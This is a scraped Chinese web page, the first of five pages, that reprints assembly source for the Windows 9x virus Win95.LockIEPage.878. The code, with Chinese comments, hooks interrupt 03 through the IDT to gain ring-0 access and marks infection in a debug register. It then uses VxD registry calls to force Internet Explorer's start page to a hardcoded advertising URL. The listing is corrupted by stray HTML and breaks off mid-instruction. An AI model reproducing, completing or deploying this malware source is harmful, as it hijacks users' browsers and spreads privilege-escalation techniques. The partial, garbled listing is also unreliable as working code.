 |
Win9x病毒--Win95.LockIEPage.878原代码 |
|
| Win9x病毒--Win95.LockIEPage.878原代码 |
|
| 作者:未知 文章来源:网络收集 点击数: 更新时间:2006-3-29 15:22:23
|
Author: whg Email: whg@whitecell.org Homepage screen.width-600)this.style.width=screen.width-600;">_blank>http://www.whitecell.org
include win32v.inc extrn ExitProcess: proc .586p .model flat,stdcall .data @@Start: pushad push eax sidt [esp-2] ;保存Idt基地址 pop esi ;弹出Idt基地址 add esi,3*8 ;得到中断03的线形地址指针 mov ecx,[esi] mov edx,[esi+4] ;保存中断03的线形地址 call @@SetMyInt03 @@MyInt03: ;我的中断03 Ring0程序 pushad mov [esi],ecx mov [esi+4],edx ;恢复中断03的线形地址 mov eax,dr3 ;我用dr3做病毒标志 mov ecx,VirusFlag @@IsInstalled: cmp eax,ecx jz @@ExitHook mov dr3,ecx ;设置病毒标志 call @@SetVxdCall ;填写VXDCALL指令(Int 20h) @@SetVxdCallOk: push eax push esp call @@PushPathNameAddr PathName db "SoftWare\MicroSoft\Internet Explorer\Main",0 @@PushPathNameAddr: push 80000001h @@RegOpenKey: int 20h ;打开注册表一个Key dd 00010148h ;VMMCall_RegOpenKey add esp,3*4 pop ebp or eax,eax jnz short @@OpenRegKeyError push 040h call @@PushHttpNameAddr HttpName db screen.width-600)this.style.width=screen.width-600;">_blank>http://202.115.16.8/~ekang",0 ;这是广告网页 @@PushHttpNameAddr: push 01h push 00h call @@PushValueNameAddr ValueName db "Start Page",0 @@PushValueNameAddr: push ebp @@RegSetValueEx: int 20h ;设置IE Start Page页面为我的广告网址 dd 000101[1] [2] [3] [4] [5] 下一页
|
|
[ 收藏此页到: 天天|和讯|博采|ViVi|狐摘|我摘|天极 ] 文章录入:kinda 责任编辑:kinda |
|
上一篇文章: Tini 的VC原代码 下一篇文章: C语言库函数(A类字母) |
| 【字体:小 大】【发表评论】【加入收藏】【告诉好友】【打印此文】【关闭窗口】 |